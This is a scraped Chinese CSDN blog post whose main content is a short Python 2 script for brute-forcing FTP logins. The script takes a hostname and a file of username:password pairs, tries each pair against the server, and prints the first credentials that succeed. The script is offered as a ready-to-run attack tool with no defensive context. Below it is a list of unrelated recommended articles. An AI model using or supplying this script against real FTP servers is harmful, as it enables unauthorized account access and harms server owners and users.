使用Ftplib暴力破解FTP用户口令_username = line.split(':')[0]_zwlww1的博客-程序员秘密

#!/usr/bin/python
#coding=utf-8
import ftplib

def bruteLogin(hostname, passwdFile):
	pF=open(passwdFile,'r')
	for line in pF.readlines():
		username=line.split(':')[0]
		password=line.split(':')[1].strip('\r').strip('\n')
		print '[+] Trying: '+username+"/"+password
		try:
			#加载ftp模块
			ftp=ftplib.FTP(hostname)
			#连接的用户名,密码
			ftp.login(username,password)
			print '\n[*] '+str(hostname)+' FTP Login Succeeded: '+username+"/"+password
			return (username,password)
		except Exception,e:
			pass
	print '\n[-] Could not brute force FTP credentials.'
	#没有找到,返回空值
	return (None,None)

def main():
	while True:
		h=raw_input("[*] Please enter the hostname: ")
		f=raw_input("[*] Please enter the filename: ")
		bruteLogin(h, f)
		#打印空行进行段落分隔
		print
		print
		print

if __name__ == '__main__':
	main()


版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/zwlww1/article/details/79000016

智能推荐

numpy入门_HYESC的博客-程序员秘密

numpyndarrayNumPy数组是一个多维的数组对象(矩阵),称为ndarray,具有矢量算术运算能力和复杂的广播能力,并具有执行速度快和节省空间的特点。多维数组(N Dimension Array)注意:ndarray的下标从0开始,且数组里的所有元素必须是相同类型ndarray拥有的属性1、ndim属性:维度个数2、shape属性:维度大小3、dtype属性:数据类型nd...

从0开始入门数据挖掘(二)-特征工程_重采样是不是特征选择工程_yuting_的博客-程序员秘密

本文将以天池的一道赛题入手,详细介绍数据挖掘的步骤,实际操作性强。适合人群:想入门数据挖掘,入门数据挖掘类比赛,熟悉python,pandas,Numpy等库运用性选手本文是从0开始入门数据挖掘系列文章的第二篇,第一篇介绍的是EDA部分,也就是数据探索性分析。这一篇文章将给大家介绍特征工程。特征工程基础知识特征工程(Feature Engineering): 将数据转换成为更好地表达潜在...

分享Web前端性能优化的实用技巧_前端性能优化分享_qq_43675712的博客-程序员秘密

Web前端的优化是非常重要的,也是每一位Web前端开发工程师所重视的,毕竟Web前端性能优化的好与否是直接影响到用户体验的。用户体验的好与否是直接影响用户对网站的满意度的。Web前端性能优化的好的网站才能达到理想中的效益。那么在Web前端性能优化的时候怎么做才比较好呢?Web前端性能优化有没有什么技巧呢,以下合肥学码思小编为大家推荐三个Web前端性能优化的实用技巧。1、减少HTTP请求...

HTML详解-3 表单元素 张三可男可女_萌杰尔的博客-程序员秘密

网站开发基础之HTML详解-3 表单元素注: 元素即标签在上一节,我们讲了一些比较基础、比较简单的元素(标签),比如段落元素(标签)§,或者超链接元素(标签)(a),今天我们来讲一些特殊的标签这个特殊的标签叫做表单元素,什么是表单元素呢?相信大家都对考试感到苦恼,不妨看一看试卷,有单选,有多选,有问答,表单元素就是诸如多选、单选之类的元素input标签input标签用于生成表单元素<input type="text">该标签存在type属性,用于生成不同的表单元素

apk更新、下载、安装(一)_apk 更新判断_易辰_的博客-程序员秘密

思路是:1、解析服务器xml文件,获取服务器版本号,确定是否需要进行更新版本vercode2、弹出软件更新提示框3、点击更新,显示正在更新框,进行更新4、更新状态下,如果点击取消就取消更新5、安装apk即可项目地址没有上传,就是下面几个界面主界面只有一个更新的button main.xml<LinearLayout xmlns:androi

问个criteria简单问题_patriotlml的博客-程序员秘密

我问一个简单的问题啊,希望大家能指点下/比如我有一个类,是图书信息类BookInfo(String [b]isbn[/b],String author,Float price,Set Books)然后有个类是图书类Book(String [b]id[/b],BookInfo bi,String location,Boolean status)其中...

随便推点

npm run dev 报错 iview TypeError [ERR_INVALID_CALLBACK]: Callback must be a function_HQZYX的博客-程序员秘密

运行npm run dev报这个错,什么办法都试了,删除项目下node_modules文件下,然后再次安装没有用,卸载nodejs,重新安装也没有用然后查看了下报错信息如下图标记: D:\iview\iview-admin-dev\build\webpack.dev.config.js:12:8 然后找到D:\iview\iview-admin-dev\build\we...

ROS--map_server--理解_notice ros_杏壳儿的博客-程序员秘密

map_server包提供了一个map_server ROS 节点, 该节点通过ROS 服务器方式提供地图数据。该包还提供了map_saver命令行utility, 使用该工具可将动态创建的地图保存成文件。参考链接: https://github.com/ros-planning/navigation.git 地图格式该包中的工具使用过的地图会被存储在两个文件中。一个是YAML格式的文件描述地图meta-data并命名image文件。另一个image文件用来编码occupancy d

end Kernel panic - not syncing:Fatal exception Vmware安装CentOS虚拟机时报错_虚拟机中fatal exception_骑驴撵大奔v的博客-程序员秘密

Vmware安装CentOS虚拟机时报错end Kernel panic - not syncing:Fatal exception解决今天安装虚拟机的时候,出现end Kernel panic - not syncing:Fatal exception错误图片如上解决我是用Vmware10安装的CentOS8镜像,出现了这个错误,更改为CentOS7镜像可以顺利安装。个人猜测是Vmw...

【微信辅助】疫情当前,python帮你找出朋友圈的武汉朋友给予关怀_程序员小小叶的博客-程序员秘密

我是程序员小小叶,为大家带来原创精彩技术内容。疫情无论是对于个体还是企业都是无法承受之重。希望疫情早日过去,这是作为一个普通人一个的小小心愿。我们身边的亲朋好友也或多或少受到了疫情的影响,让我们来通过python找出朋友圈的武汉朋友给予关怀。第一步,首先还是先安装wxpy,其次就是安装本文中地图绘制所用到的pyecharts模块pip install wxpy # 支持微信相关功能...

一个服务器部署的问题_一台服务器为什么之前只部署一个服务?_游水石的博客-程序员秘密

一个服务器部署的问题Java文件没问题,编译没问题,但是用xftp5上传服务器之后,服务器上该文件找不到,class文件用反编译工具打不开了。最后的解决办法是用cmd的FTP上传服务器,问题解决。...

推荐文章

热门文章

相关标签